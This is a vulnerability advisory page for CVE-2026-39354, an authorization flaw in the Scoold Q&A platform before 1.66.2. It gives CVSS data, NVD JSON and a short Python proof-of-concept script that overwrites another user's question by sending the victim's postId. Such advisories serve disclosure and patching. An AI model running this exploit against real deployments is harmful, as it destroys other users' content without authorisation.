Security Vulnerability Report
中文
CVE-2026-39354 CVSS 6.5 MEDIUM

CVE-2026-39354

Published: 2026-04-07 19:16:46
Last Modified: 2026-04-10 19:29:30

Description

Scoold is a Q&A and a knowledge sharing platform for teams. Prior to 1.66.2, an authenticated authorization flaw in Scoold allows any logged-in, low-privilege user to overwrite another user's existing question by supplying that question's public ID as the postId parameter to POST /questions/ask. Because question IDs are exposed in normal question URLs, a low-privilege attacker can take a victim question ID from a public page and cause attacker-controlled content to be stored under that existing question object. This causes direct integrity loss of user-generated content and corrupts the integrity of the existing discussion thread. This vulnerability is fixed in 1.66.2.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:erudika:scoold:*:*:*:*:*:*:*:* - VULNERABLE
Scoold < 1.66.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://localhost:8080/questions/ask" # Attacker's authenticated cookie (obtained after login) attacker_cookies = { "JSESSIONID": "attacker_session_id_here" } # Victim's Post ID (exposed in public URLs) victim_post_id = "550e8400-e29b-41d4-a716-446655440000" # Malicious payload to overwrite the question payload_data = { "postId": victim_post_id, "title": "HACKED - Security Alert", "body": "This question has been overwritten by an unauthorized user due to CVE-2026-39354." } try: # Send the malicious request response = requests.post(target_url, data=payload_data, cookies=attacker_cookies) if response.status_code == 200: print("[+] Exploit successful! The question content has been overwritten.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39354", "sourceIdentifier": "[email protected]", "published": "2026-04-07T19:16:46.357", "lastModified": "2026-04-10T19:29:30.457", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Scoold is a Q&A and a knowledge sharing platform for teams. Prior to 1.66.2, an authenticated authorization flaw in Scoold allows any logged-in, low-privilege user to overwrite another user's existing question by supplying that question's public ID as the postId parameter to POST /questions/ask. Because question IDs are exposed in normal question URLs, a low-privilege attacker can take a victim question ID from a public page and cause attacker-controlled content to be stored under that existing question object. This causes direct integrity loss of user-generated content and corrupts the integrity of the existing discussion thread. This vulnerability is fixed in 1.66.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:erudika:scoold:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.66.2", "matchCriteriaId": "8F1340F2-5D49-4F87-B3DB-2187E5842588"}]}]}], "references": [{"url": "https://github.com/Erudika/scoold/security/advisories/GHSA-768r-cv9p-wrcm", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/Erudika/scoold/security/advisories/GHSA-768r-cv9p-wrcm", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}